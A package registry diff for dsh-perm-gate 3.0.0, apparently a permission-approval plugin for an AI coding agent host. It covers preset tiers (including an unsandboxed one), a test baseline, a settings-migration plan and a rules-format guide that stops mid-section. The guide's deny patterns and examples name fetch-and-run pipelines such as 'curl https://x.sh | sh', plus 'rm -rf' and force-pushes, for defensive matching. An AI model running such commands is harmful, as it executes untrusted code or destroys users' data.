dsh-perm-gate 2.1.0 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.ja.md +82 -0
- package/CHANGELOG.ko.md +80 -0
- package/CHANGELOG.md +321 -0
- package/INSTALL.ja.md +70 -8
- package/INSTALL.ko.md +68 -9
- package/INSTALL.md +68 -8
- package/INSTALL.zh.md +59 -7
- package/README.ja.md +103 -16
- package/README.ko.md +101 -17
- package/README.md +152 -25
- package/README.zh.md +99 -12
- package/cordis.patch.yml +34 -3
- package/docs/baseline-guard.md +56 -0
- package/docs/plan-rules-to-settings.md +217 -0
- package/docs/rules-format.en.md +294 -0
- package/docs/rules-format.md +279 -0
- package/docs/ui-gap-analysis-and-branch-permissions.md +338 -0
- package/dsh.plugin.json +22 -0
- package/examples/permissions.example.yaml +16 -1
- package/lib/agent-identity.d.ts +43 -0
- package/lib/agent-identity.js +95 -0
- package/lib/allowlist.d.ts +27 -0
- package/lib/allowlist.js +103 -1
- package/lib/cli.js +11 -14
- package/lib/client.js +598 -6
- package/lib/client.js.map +1 -1
- package/lib/command-dispatcher.d.ts +22 -0
- package/lib/command-dispatcher.js +97 -0
- package/lib/command-semantics.d.ts +62 -0
- package/lib/command-semantics.js +6 -0
- package/lib/compiler.d.ts +50 -0
- package/lib/compiler.js +122 -0
- package/lib/config.d.ts +161 -7
- package/lib/config.js +78 -11
- package/lib/dry-run.d.ts +87 -0
- package/lib/dry-run.js +110 -0
- package/lib/engine.js +61 -4
- package/lib/evaluate.d.ts +9 -0
- package/lib/evaluate.js +264 -1
- package/lib/events.d.ts +69 -2
- package/lib/events.js +123 -0
- package/lib/index.d.ts +1 -1
- package/lib/index.js +320 -11
- package/lib/network-lifecycle.d.ts +107 -0
- package/lib/network-lifecycle.js +180 -0
- package/lib/network.d.ts +109 -0
- package/lib/network.js +196 -0
- package/lib/parsers/git.d.ts +43 -0
- package/lib/parsers/git.js +404 -0
- package/lib/parsers/shell-cmds.d.ts +32 -0
- package/lib/parsers/shell-cmds.js +293 -0
- package/lib/preset.d.ts +13 -0
- package/lib/preset.js +17 -0
- package/lib/proxy.d.ts +160 -0
- package/lib/proxy.js +529 -0
- package/lib/risk.d.ts +17 -3
- package/lib/risk.js +19 -6
- package/lib/rule-chain.d.ts +39 -0
- package/lib/rule-chain.js +213 -0
- package/lib/rule-dims.d.ts +174 -0
- package/lib/rule-dims.js +230 -0
- package/lib/rule.d.ts +60 -0
- package/lib/rule.js +69 -7
- package/lib/rules-view.d.ts +52 -0
- package/lib/rules-view.js +126 -0
- package/lib/runtime.d.ts +208 -7
- package/lib/runtime.js +433 -27
- package/lib/session-sweep.d.ts +45 -0
- package/lib/session-sweep.js +153 -0
- package/lib/shadow.d.ts +34 -0
- package/lib/shadow.js +143 -0
- package/lib/shell.d.ts +14 -0
- package/lib/shell.js +17 -0
- package/lib/watch.d.ts +42 -0
- package/lib/watch.js +170 -0
- package/package.json +15 -2
- package/scripts/patch-permission-glyph.mjs +209 -0
package/cordis.patch.yml
CHANGED
|
@@ -14,9 +14,17 @@
|
|
|
14
14
|
# stays `permissive`: it is the key `gatePresets` matches and the value the
|
|
15
15
|
# permission projection reports, so only the label text is user-facing.
|
|
16
16
|
#
|
|
17
|
-
# The
|
|
18
|
-
#
|
|
19
|
-
#
|
|
17
|
+
# The composer's permission picker draws an icon per preset from a CLOSED map
|
|
18
|
+
# inside @deepseek-ai/dsh-client-ui-conversation (`permissionGlyphs`), whose
|
|
19
|
+
# source states the rule: "host-configured names outside the design set get
|
|
20
|
+
# none". DSH ships a shield+eye glyph for `permissive`, so 自动审查 has an icon,
|
|
21
|
+
# but a second plugin tier has none — it falls back to text in the trigger. The
|
|
22
|
+
# map is a closure variable with no plugin-facing seam (the option objects the
|
|
23
|
+
# host supplies carry only {value, name, description}), so the only way to give
|
|
24
|
+
# BOTH tiers the same glyph is to extend that map.
|
|
25
|
+
# `scripts/patch-permission-glyph.mjs` does exactly that, duplicating the
|
|
26
|
+
# `permissive` entry under `permissive-full`. It patches a HOST package, so it
|
|
27
|
+
# must be re-run after any DSH upgrade or reinstall.
|
|
20
28
|
#
|
|
21
29
|
# The DSH bundle patch REPLACES the whole `permission.config.presets` map (it
|
|
22
30
|
# does not merge per key), so this file MUST restate every tier that should
|
|
@@ -32,6 +40,24 @@
|
|
|
32
40
|
# lost its implementation with that plugin, and this gate is inactive in it
|
|
33
41
|
# (`gatePresets` defaults to `['permissive']`) — so it only offered a duplicate
|
|
34
42
|
# tier that looked protected while nothing was.
|
|
43
|
+
#
|
|
44
|
+
# TWO tiers ship, because `sandbox` and `approval` are INDEPENDENT knobs and
|
|
45
|
+
# coupling them forced a bad trade:
|
|
46
|
+
#
|
|
47
|
+
# permissive sandbox: workspace-write approval: ask
|
|
48
|
+
# permissive-full sandbox: danger-full-access approval: ask
|
|
49
|
+
#
|
|
50
|
+
# `permissive` keeps the built-in file sandbox. That sandbox also denies the
|
|
51
|
+
# named pipes a child process needs to start — `git clone`, MSYS2/Cygwin
|
|
52
|
+
# `sh.exe` and ConPTY all fail with `Win32 error 5` under it. Because this gate
|
|
53
|
+
# is only active in the tiers listed in `gatePresets`, a user who wanted the
|
|
54
|
+
# gate had to accept that restriction to get it. `permissive-full` removes the
|
|
55
|
+
# coupling: same approval behaviour, no file-sandbox restriction.
|
|
56
|
+
#
|
|
57
|
+
# The gate itself only reads the preset NAME (see `src/preset.ts`), never the
|
|
58
|
+
# sandbox mode, so both tiers get the full P0–P4 chain. `approval: ask` is
|
|
59
|
+
# required on both — under `approval: never` the DSH seam rejects every ask
|
|
60
|
+
# before any answerer runs, which would degrade this gate's asks to passthrough.
|
|
35
61
|
- id: permission
|
|
36
62
|
config:
|
|
37
63
|
presets:
|
|
@@ -46,6 +72,11 @@
|
|
|
46
72
|
approval: ask
|
|
47
73
|
name: 自动审查
|
|
48
74
|
description: 独立审批档 —— 作用域内安全操作自动放行,危险/未知越界转人工确认(审批强度可在「设置 → 插件 → 自动审查」调整)。
|
|
75
|
+
permissive-full:
|
|
76
|
+
sandbox: danger-full-access
|
|
77
|
+
approval: ask
|
|
78
|
+
name: 自动审查(高权限)
|
|
79
|
+
description: 只由本插件的审批门过滤 —— 文件修改与子进程网络访问不再受沙箱限制,审批仍逐次生效,但没有系统沙箱兜底。
|
|
49
80
|
danger-full-access:
|
|
50
81
|
sandbox: danger-full-access
|
|
51
82
|
approval: never
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
# Baseline Snapshot: feat/capability-absorption
|
|
2
|
+
|
|
3
|
+
> Captured at T0.3/T0.4 on 2026-09-15
|
|
4
|
+
>
|
|
5
|
+
> **为什么这份快照留在仓库里**:下面那 30 个测试文件是能力吸收(6 维度 / 网络执行面 / 热重载)
|
|
6
|
+
> 落地**之前**的既有覆盖,充当回归护栏——新增行为**不得**靠修改它们来适配。
|
|
7
|
+
> 原位置 `.agents/baseline-snapshot.md` 未入库(`.agents/` 是仓库惯例的本地目录),
|
|
8
|
+
> 2026-09-17 迁到 `docs/` 以便随包分发、可追溯。
|
|
9
|
+
> 注意:仓库当前已有 **40** 个测试文件;本列表是**护栏基线**,不是当前全量清单。
|
|
10
|
+
|
|
11
|
+
## Gate Status
|
|
12
|
+
|
|
13
|
+
| Gate | Status | Notes |
|
|
14
|
+
|------|--------|-------|
|
|
15
|
+
| typecheck | ✅ 0 errors | After pre-existing fix commit |
|
|
16
|
+
| test | ✅ 278/278 | 30 spec files |
|
|
17
|
+
| build | ✅ tsc + tsdown | client.js 99.95 kB |
|
|
18
|
+
| lint | ✅ 0 errors | — |
|
|
19
|
+
|
|
20
|
+
## Pre-existing Fixes (committed)
|
|
21
|
+
|
|
22
|
+
- `src/risk.ts:137-138` — cast `req.args` to `Record<string, unknown>` (was `{}`)
|
|
23
|
+
- `src/runtime.ts:26` — add `import { decomposeShellCommand } from './shell.js'`
|
|
24
|
+
|
|
25
|
+
## Test File List (30 files, DO NOT modify to accommodate new behavior)
|
|
26
|
+
|
|
27
|
+
1. audit.spec.ts
|
|
28
|
+
2. auto-allow-tools.spec.ts
|
|
29
|
+
3. compiler.spec.ts
|
|
30
|
+
4. custom-llm.spec.ts
|
|
31
|
+
5. data-home.spec.ts
|
|
32
|
+
6. deny-keywords.spec.ts
|
|
33
|
+
7. deny-keywords-scope.spec.ts
|
|
34
|
+
8. engine.spec.ts
|
|
35
|
+
9. evaluate.spec.ts
|
|
36
|
+
10. events.spec.ts
|
|
37
|
+
11. feature.spec.ts
|
|
38
|
+
12. grant.spec.ts
|
|
39
|
+
13. host-llm.spec.ts
|
|
40
|
+
14. learning.spec.ts
|
|
41
|
+
15. manual-approval.spec.ts
|
|
42
|
+
16. patch-presets.spec.ts
|
|
43
|
+
17. permissive.spec.ts
|
|
44
|
+
18. pre-execute.spec.ts
|
|
45
|
+
19. preset-scope.spec.ts
|
|
46
|
+
20. review.spec.ts
|
|
47
|
+
21. risk.spec.ts
|
|
48
|
+
22. rule.spec.ts
|
|
49
|
+
23. runtime.spec.ts
|
|
50
|
+
24. runtime-risk.spec.ts
|
|
51
|
+
25. sediment.spec.ts
|
|
52
|
+
26. session-resolution.spec.ts
|
|
53
|
+
27. session-sweep.spec.ts
|
|
54
|
+
28. session-sweep-apply.spec.ts
|
|
55
|
+
29. shell.spec.ts
|
|
56
|
+
30. write-path.spec.ts
|
|
@@ -0,0 +1,217 @@
|
|
|
1
|
+
# Plan: rules.yml → DSH Settings Namespace Migration
|
|
2
|
+
|
|
3
|
+
## Goal
|
|
4
|
+
|
|
5
|
+
Eliminate the external `rules.yml` file dependency by migrating rules into the DSH settings namespace (`dsh-perm-gate.rules`). This solves the cold-start directory problem at the root cause: settings are managed by the framework and loaded before any plugin `apply()` runs.
|
|
6
|
+
|
|
7
|
+
## Current Architecture
|
|
8
|
+
|
|
9
|
+
```
|
|
10
|
+
User edits rules.yml (or allowlist card writes to it)
|
|
11
|
+
↓
|
|
12
|
+
resolveRulesFile() → path string
|
|
13
|
+
↓
|
|
14
|
+
readFileSafe() → raw YAML text
|
|
15
|
+
↓
|
|
16
|
+
parsePermissionsDocument() → structured doc
|
|
17
|
+
↓
|
|
18
|
+
compileDocument() → CompiledRuleset
|
|
19
|
+
↓
|
|
20
|
+
PermGateRuntime.decide() → verdict
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
Read-only view:
|
|
24
|
+
```
|
|
25
|
+
GET /api/dsh-perm-gate/rules
|
|
26
|
+
→ readRulesView(rulesFile)
|
|
27
|
+
→ statSync + readFileSync + parse + compile
|
|
28
|
+
→ RulesView { path, exists, bytes, hash, raw, counts, error }
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
Write path (allowlist card):
|
|
32
|
+
```
|
|
33
|
+
appendAllowCommand() / replaceAllowCommands()
|
|
34
|
+
→ readFileSync → parse → mutate → stringify → writeFileSync
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
## Target Architecture
|
|
38
|
+
|
|
39
|
+
```
|
|
40
|
+
User edits via settings card (or API)
|
|
41
|
+
↓
|
|
42
|
+
settings.get('dsh-perm-gate.rules') → structured object (already parsed)
|
|
43
|
+
↓
|
|
44
|
+
compileDocument(rules) → CompiledRuleset
|
|
45
|
+
↓
|
|
46
|
+
PermGateRuntime.decide() → verdict
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
Read-only view:
|
|
50
|
+
```
|
|
51
|
+
GET /api/dsh-perm-gate/rules
|
|
52
|
+
→ settings.get('dsh-perm-gate.rules')
|
|
53
|
+
→ RulesView { source: 'settings', rules: {...}, counts, hash }
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
Write path (allowlist card):
|
|
57
|
+
```
|
|
58
|
+
settings.update({ rules: { allow: [...] } })
|
|
59
|
+
→ framework persists to settings.yaml
|
|
60
|
+
→ settings.watch() triggers reload
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
## Schema (config.ts)
|
|
64
|
+
|
|
65
|
+
```typescript
|
|
66
|
+
// New settings schema for rules
|
|
67
|
+
const RuleEntrySchema = z.object({
|
|
68
|
+
command: z.array(z.string()).optional(),
|
|
69
|
+
args: z.array(z.string()).optional(),
|
|
70
|
+
tools: z.array(z.string()).optional(),
|
|
71
|
+
network: z.object({
|
|
72
|
+
domains: z.array(z.string()),
|
|
73
|
+
}).optional(),
|
|
74
|
+
reason: z.string().default(''),
|
|
75
|
+
})
|
|
76
|
+
|
|
77
|
+
const RulesSchema = z.object({
|
|
78
|
+
defaultAction: z.enum(['allow', 'deny', 'ask']).default('ask'),
|
|
79
|
+
deny: z.array(RuleEntrySchema).default([]),
|
|
80
|
+
allow: z.array(RuleEntrySchema).default([]),
|
|
81
|
+
ask: z.array(RuleEntrySchema).default([]),
|
|
82
|
+
network: z.object({
|
|
83
|
+
domains: z.array(z.string()).default([]),
|
|
84
|
+
}).optional(),
|
|
85
|
+
}).default({ defaultAction: 'ask', deny: [], allow: [] })
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
## Migration Steps
|
|
89
|
+
|
|
90
|
+
### Phase 1: Dual-Source (backward compatible)
|
|
91
|
+
|
|
92
|
+
1. **Add `rules` to settings schema** — new field in `dsh-perm-gate` namespace
|
|
93
|
+
2. **Runtime reads from settings first, falls back to file** — `settings.get('rules') ?? loadRulesFile()`
|
|
94
|
+
3. **Allowlist card writes to settings** — `settings.update({ rules: { allow: [...] } })`
|
|
95
|
+
4. **Rules view serves from settings** — `readRulesView()` reads from settings object, not file
|
|
96
|
+
5. **Module-level: still create dataDir** — belt-and-suspenders for the transition period
|
|
97
|
+
|
|
98
|
+
### Phase 2: File Deprecation
|
|
99
|
+
|
|
100
|
+
6. **Log deprecation warning** — when `rulesFile` is configured, warn that it's deprecated
|
|
101
|
+
7. **Import button** — UI can import existing `rules.yml` into settings
|
|
102
|
+
8. **Export button** — UI can export settings rules as YAML for version control
|
|
103
|
+
|
|
104
|
+
### Phase 3: File Removal
|
|
105
|
+
|
|
106
|
+
9. **Remove `rulesFile` config option** — no longer accepted
|
|
107
|
+
10. **Remove file I/O code** — `allowlist.ts`, `rules-view.ts` file operations
|
|
108
|
+
11. **Remove chokidar watcher** — settings has built-in `watch()`
|
|
109
|
+
12. **Remove dataDir bootstrap** — no longer needed
|
|
110
|
+
|
|
111
|
+
## How the Read-Only View Changes
|
|
112
|
+
|
|
113
|
+
### Before (file-based)
|
|
114
|
+
|
|
115
|
+
```json
|
|
116
|
+
{
|
|
117
|
+
"path": "C:\\Users\\joshua\\.dsh\\perm-gate\\rules.yml",
|
|
118
|
+
"exists": true,
|
|
119
|
+
"bytes": 1513,
|
|
120
|
+
"hash": "abc123...",
|
|
121
|
+
"lines": 61,
|
|
122
|
+
"raw": "permissions:\n defaultAction: ask\n deny:\n ...",
|
|
123
|
+
"truncated": false,
|
|
124
|
+
"defaultAction": "ask",
|
|
125
|
+
"counts": { "allow": 11, "deny": 1, "ask": 0 },
|
|
126
|
+
"error": null
|
|
127
|
+
}
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### After (settings-based)
|
|
131
|
+
|
|
132
|
+
```json
|
|
133
|
+
{
|
|
134
|
+
"source": "settings",
|
|
135
|
+
"defaultAction": "ask",
|
|
136
|
+
"counts": { "allow": 11, "deny": 1, "ask": 0 },
|
|
137
|
+
"hash": "abc123...",
|
|
138
|
+
"rules": {
|
|
139
|
+
"defaultAction": "ask",
|
|
140
|
+
"deny": [
|
|
141
|
+
{ "tools": ["shell", "pwsh"], "command": ["rm#recursive"], "reason": "destructive" }
|
|
142
|
+
],
|
|
143
|
+
"allow": [
|
|
144
|
+
{ "command": ["grep"], "reason": "permissive allowlist" }
|
|
145
|
+
],
|
|
146
|
+
"network": {
|
|
147
|
+
"domains": ["github.com", "registry.npmjs.org"]
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
**Key differences:**
|
|
154
|
+
- `path` / `exists` / `bytes` / `raw` / `truncated` → removed (no file)
|
|
155
|
+
- `source: 'settings'` → added (provenance)
|
|
156
|
+
- `rules` → the structured object (already parsed, not raw YAML)
|
|
157
|
+
- `counts` / `defaultAction` / `hash` → kept (useful for UI)
|
|
158
|
+
|
|
159
|
+
## How the Allowlist Write Path Changes
|
|
160
|
+
|
|
161
|
+
### Before (file-based)
|
|
162
|
+
|
|
163
|
+
```typescript
|
|
164
|
+
// appendAllowCommand reads YAML, mutates, writes back
|
|
165
|
+
appendAllowCommand(rulesFile, 'git push', 'permissive allow-everywhere')
|
|
166
|
+
// → readFileSync → parse → push → stringify → writeFileSync
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### After (settings-based)
|
|
170
|
+
|
|
171
|
+
```typescript
|
|
172
|
+
// Direct settings update
|
|
173
|
+
const current = settings.get('dsh-perm-gate.rules')
|
|
174
|
+
const allow = [...(current.allow ?? []), { command: ['git push'], reason: 'permissive allow-everywhere' }]
|
|
175
|
+
settings.update({ rules: { ...current, allow } })
|
|
176
|
+
// → framework persists → settings.watch() triggers reload
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
## Files Changed
|
|
180
|
+
|
|
181
|
+
| File | Change |
|
|
182
|
+
|---|---|
|
|
183
|
+
| `src/config.ts` | Add `RulesSchema`, keep `resolveRulesFile` for backward compat |
|
|
184
|
+
| `src/index.ts` | Read from settings first, fall back to file; register settings schema |
|
|
185
|
+
| `src/runtime.ts` | Accept `rules` object directly (no file read) |
|
|
186
|
+
| `src/rules-view.ts` | Add `readRulesViewFromSettings()` |
|
|
187
|
+
| `src/allowlist.ts` | Add `appendAllowToSettings()`, `replaceAllowInSettings()` |
|
|
188
|
+
| `src/events.ts` | Update `registerRulesRoute` to use settings view |
|
|
189
|
+
| `src/watch.ts` | Remove chokidar watcher (settings has built-in watch) |
|
|
190
|
+
|
|
191
|
+
## Cold-Start Resilience (All Plugins)
|
|
192
|
+
|
|
193
|
+
The same pattern should be applied to other plugins that read files at startup:
|
|
194
|
+
|
|
195
|
+
| Plugin | Data | Risk | Fix |
|
|
196
|
+
|---|---|---|---|
|
|
197
|
+
| `dsh-perm-gate` | rules.yml | HIGH | Settings migration (this plan) |
|
|
198
|
+
| `dsh-search-index` | index files | MEDIUM | dataDir bootstrap + try/catch |
|
|
199
|
+
| `dsh-session-guard` | guard config | LOW | Already settings-backed |
|
|
200
|
+
| `dsh-prime-memory` | memory files | MEDIUM | dataDir bootstrap + try/catch |
|
|
201
|
+
| `dsh-context-compression` | config | LOW | Already settings-backed |
|
|
202
|
+
|
|
203
|
+
**Universal pattern:**
|
|
204
|
+
1. Module-level `ensureDataDir()` — belt
|
|
205
|
+
2. Read paths: `dataDirReady()` check → empty defaults if missing
|
|
206
|
+
3. Write paths: `ensureDataDir()` before first write
|
|
207
|
+
4. All file reads wrapped in try/catch with graceful fallback
|
|
208
|
+
|
|
209
|
+
## Testing
|
|
210
|
+
|
|
211
|
+
- [ ] Unit: `compileDocument` with settings-sourced rules (same as YAML-sourced)
|
|
212
|
+
- [ ] Unit: `readRulesViewFromSettings` returns correct `RulesView`
|
|
213
|
+
- [ ] Unit: `appendAllowToSettings` correctly mutates settings object
|
|
214
|
+
- [ ] Integration: settings card reads and displays rules
|
|
215
|
+
- [ ] Integration: allowlist card writes persist to settings
|
|
216
|
+
- [ ] Migration: existing `rules.yml` imports into settings correctly
|
|
217
|
+
- [ ] Cold start: plugin loads with empty settings (no rules configured)
|
|
@@ -0,0 +1,294 @@
|
|
|
1
|
+
# Rules File Format (`permissions` YAML)
|
|
2
|
+
|
|
3
|
+
> **Authority**: the dimension list below is byte-for-byte identical to `VALID_KEYS` in
|
|
4
|
+
> `src/rule.ts:181`. A change to either must be mirrored; `test/rule.spec.ts` and
|
|
5
|
+
> `test/rule-dims.spec.ts` are the runtime guards.
|
|
6
|
+
> Applies to `dsh-perm-gate` **2.4.1** (DSH ≥ 0.1.2-alpha.1).
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## 1. Location and loading
|
|
11
|
+
|
|
12
|
+
| Item | Description |
|
|
13
|
+
|---|---|
|
|
14
|
+
| Default path | `<dataDir>/rules.yml` (`dataDir` resolved by `config.resolveDataDir`, default `$DSH_HOME/perm-gate/`) |
|
|
15
|
+
| Explicit | `config.rulesFile` |
|
|
16
|
+
| Rule chain | Multi-file chains supported (`rulesChain` / `searchUp` / `fallbackPath` / `badFilePolicy` / `maxRules`) — see `src/rule-chain.ts` |
|
|
17
|
+
| Hot reload | `src/watch.ts` (chokidar) watches the effective files and recompiles the whole chain after a debounce |
|
|
18
|
+
| Parse failure | **fail loud** — invalid rules raise, they never silently stand the gate down |
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 2. Top level
|
|
23
|
+
|
|
24
|
+
```yaml
|
|
25
|
+
defaultAction: ask # optional; used when nothing matches. Default: ask
|
|
26
|
+
deny: # action partitions (arrays)
|
|
27
|
+
- <rule entry>
|
|
28
|
+
allow:
|
|
29
|
+
- <rule entry>
|
|
30
|
+
ask:
|
|
31
|
+
- <rule entry>
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
**The action IS the partition**: entries carry no `action` field (if present it must agree with its
|
|
35
|
+
partition). Evaluation order is fixed: **deny → allow → ask → defaultAction**, first match wins
|
|
36
|
+
(deny wins over allow). The keyword blacklist runs ahead of `deny`.
|
|
37
|
+
|
|
38
|
+
`defaultAction` accepts `allow` | `ask` | `deny` (default `ask`).
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## 3. Entry fields (`VALID_KEYS`)
|
|
43
|
+
|
|
44
|
+
```
|
|
45
|
+
tools · command · args · paths · params · absent · agents · when · argv · network · branch
|
|
46
|
+
action · reason · enabled
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
| Field | Type | Purpose |
|
|
50
|
+
|---|---|---|
|
|
51
|
+
| `tools` | string / string[] | Tool-name glob |
|
|
52
|
+
| `command` | string / string[] | Command word, with `word#recursive` / `word#force` suffixes |
|
|
53
|
+
| `args` | string / string[] | Argument token scan |
|
|
54
|
+
| `paths` | string / string[] | Workspace-relative path glob |
|
|
55
|
+
| `params` | mapping | Parameter key → value glob list |
|
|
56
|
+
| `absent` | string / string[] | Parameter keys that must NOT be present |
|
|
57
|
+
| `agents` | string / string[] | `main` / `subagent` / `preset:<name>` |
|
|
58
|
+
| `when` | mapping | Environment and platform conditions |
|
|
59
|
+
| `argv` | mapping | Extra argv patterns (`pipeline`) |
|
|
60
|
+
| `network` | mapping | Domain / IP / port / scheme |
|
|
61
|
+
| `branch` | mapping | Git branch / remote / protected branch (git commands only) |
|
|
62
|
+
| `action` | `allow`\|`ask`\|`deny` | Optional; must agree with its partition |
|
|
63
|
+
| `reason` | string | Human-readable rationale (lands in events and the UI) |
|
|
64
|
+
| `enabled` | boolean | `false` skips the entry |
|
|
65
|
+
|
|
66
|
+
**Across dimensions = AND**: every dimension present in one entry must be satisfied.
|
|
67
|
+
**Within a dimension = OR**: any single pattern in the list suffices (`params` / `when` /
|
|
68
|
+
`network` use AND across their sub-keys — see below).
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## 4. Dimension semantics
|
|
73
|
+
|
|
74
|
+
### 4.1 `tools` — tool name
|
|
75
|
+
```yaml
|
|
76
|
+
- tools: [shell, pwsh, bash]
|
|
77
|
+
```
|
|
78
|
+
Glob match. OR within the list.
|
|
79
|
+
|
|
80
|
+
### 4.2 `command` — command word
|
|
81
|
+
```yaml
|
|
82
|
+
- command: [rm#recursive, rm#force]
|
|
83
|
+
```
|
|
84
|
+
Words come from argv decomposition (`src/shell.ts`). The `#recursive` / `#force` suffixes
|
|
85
|
+
require the corresponding semantics. OR within the list.
|
|
86
|
+
|
|
87
|
+
### 4.3 `args` — argument tokens
|
|
88
|
+
```yaml
|
|
89
|
+
- args: ["--force", "-rf"]
|
|
90
|
+
```
|
|
91
|
+
Scans the decomposed token set. **⚠ Semantics are OR**: any single token matching any single
|
|
92
|
+
pattern matches. It can **not** require "`push` and `--force` together", and it can not tell
|
|
93
|
+
`git push --force origin main` from `git checkout --force main` — use `params` (or the future
|
|
94
|
+
`branch` dimension) when you need that discrimination.
|
|
95
|
+
|
|
96
|
+
### 4.4 `paths` — paths
|
|
97
|
+
```yaml
|
|
98
|
+
- paths: ["src/**", "!src/vendor/**"]
|
|
99
|
+
```
|
|
100
|
+
Workspace-relative globs; `!` negates. OR within the list.
|
|
101
|
+
|
|
102
|
+
### 4.5 `params` — key-targeted matching (**AND over keys**)
|
|
103
|
+
```yaml
|
|
104
|
+
- params:
|
|
105
|
+
command: ["*--force*", "!*--dry-run*"]
|
|
106
|
+
flags.mode: ["production"]
|
|
107
|
+
```
|
|
108
|
+
- Each key's **actual value** must match **at least one** pattern of that key (OR within the list)
|
|
109
|
+
- **Every listed key must be satisfied** (AND across keys)
|
|
110
|
+
- A single `!`-prefixed pattern negates (the value must NOT match the remainder)
|
|
111
|
+
- An empty pattern list only requires the key to exist (any value)
|
|
112
|
+
|
|
113
|
+
This is the main tool for compound conditions — the AND cases `args` can not express.
|
|
114
|
+
|
|
115
|
+
### 4.6 `absent` — keys must be missing (AND)
|
|
116
|
+
```yaml
|
|
117
|
+
- absent: [dry_run, force]
|
|
118
|
+
```
|
|
119
|
+
Every listed parameter key must be absent.
|
|
120
|
+
|
|
121
|
+
### 4.7 `agents` — agent identity
|
|
122
|
+
```yaml
|
|
123
|
+
- agents: ["main", "preset:reviewer"]
|
|
124
|
+
```
|
|
125
|
+
Valid values: `main`, `subagent`, `preset:<name>` (case-insensitive); anything else fails at parse
|
|
126
|
+
time. Candidates come from session headers via `src/agent-identity.ts`. OR within the list.
|
|
127
|
+
|
|
128
|
+
### 4.8 `when` — environment and platform (AND)
|
|
129
|
+
```yaml
|
|
130
|
+
- when:
|
|
131
|
+
env:
|
|
132
|
+
NODE_ENV: ["production"]
|
|
133
|
+
CI: ["true", "1"]
|
|
134
|
+
platform: [linux, win32]
|
|
135
|
+
```
|
|
136
|
+
- `env`: key → allowed values (**OR within a list**, **AND across keys**)
|
|
137
|
+
- `platform`: Node.js `process.platform` values
|
|
138
|
+
- `nodeVersion`: reserved, not yet evaluated
|
|
139
|
+
|
|
140
|
+
### 4.9 `argv` — extra argv patterns
|
|
141
|
+
```yaml
|
|
142
|
+
- argv:
|
|
143
|
+
pipeline: ["curl*|sh", "wget*|bash"]
|
|
144
|
+
```
|
|
145
|
+
`pipeline` matches the **whole pipeline string**: each simple command's **full argv**
|
|
146
|
+
(command word + args + redirect targets) joined by `|`, so `curl https://x.sh | sh`
|
|
147
|
+
yields `curl https://x.sh|sh`.
|
|
148
|
+
|
|
149
|
+
**⚠ The `|` in a pattern is a literal**, so `curl|sh` only matches the argument-less
|
|
150
|
+
adjacent form; covering the common form with arguments requires `curl*|sh`.
|
|
151
|
+
(Historical defect: the match string was built from the command word alone, so
|
|
152
|
+
`curl|sh` matched the harmless `curl|sh` while the genuinely dangerous
|
|
153
|
+
`curl https://x.sh | sh` did not match at all.)
|
|
154
|
+
|
|
155
|
+
### 4.10 `network` — network targets (AND across sub-dimensions)
|
|
156
|
+
```yaml
|
|
157
|
+
- network:
|
|
158
|
+
domains: ["*.internal.corp", "github.com"]
|
|
159
|
+
ips: ["10.0.0.0/8", "192.168.1.1"]
|
|
160
|
+
ports: ["443", "8000-9000"]
|
|
161
|
+
schemes: [https, http]
|
|
162
|
+
```
|
|
163
|
+
- Every **present** sub-dimension must match (AND); inside a sub-dimension, OR
|
|
164
|
+
- `domains` supports globs; `ips` supports CIDR; `ports` supports ranges; `schemes` are protocol names
|
|
165
|
+
|
|
166
|
+
The network dimension acts on two seams: the static URL-candidate check in `tools/pre-execute`,
|
|
167
|
+
and the loopback proxy that intercepts real egress traffic (`network.enabled` is **false by
|
|
168
|
+
default** — opt-in).
|
|
169
|
+
|
|
170
|
+
### 4.11 `branch` — git branch / remote / protected branch (AND across sub-dimensions)
|
|
171
|
+
|
|
172
|
+
```yaml
|
|
173
|
+
- command: [git]
|
|
174
|
+
args: [push]
|
|
175
|
+
branch:
|
|
176
|
+
target: [main, master, "release*"]
|
|
177
|
+
remote: [origin]
|
|
178
|
+
shared: true
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
| Sub-field | Semantics |
|
|
182
|
+
|---|---|
|
|
183
|
+
| `target` | Branch-name glob (`*` **crosses** `/`, so `release*` matches `release/1.0`) |
|
|
184
|
+
| `remote` | Remote-name glob |
|
|
185
|
+
| `shared` | Require the target branch to be a **protected** branch |
|
|
186
|
+
|
|
187
|
+
**Why this dimension exists**: `args` is OR-over-tokens (§4.3). It can ask "does `--force`
|
|
188
|
+
appear?" but never "does `--force` appear **on a push to a protected branch**?". The decisive
|
|
189
|
+
case is telling two commands with identical tokens apart:
|
|
190
|
+
|
|
191
|
+
- `git push --force origin main` → dangerous, must match
|
|
192
|
+
- `git checkout --force main` → routine, must **not** match
|
|
193
|
+
|
|
194
|
+
Candidates come from the shared command classifier (`src/command-dispatcher.ts` +
|
|
195
|
+
`src/parsers/git.ts`), so `refspec` forms (`HEAD:main`) are already split, a remote name is
|
|
196
|
+
never mistaken for a branch name, and flags are normalized.
|
|
197
|
+
|
|
198
|
+
**Three boundaries worth knowing**:
|
|
199
|
+
|
|
200
|
+
1. **Git commands only.** A non-git command (`rm -rf`, `npm install`, …) satisfies no `branch`
|
|
201
|
+
sub-dimension, so a rule that names a branch simply does not match it (and never throws) —
|
|
202
|
+
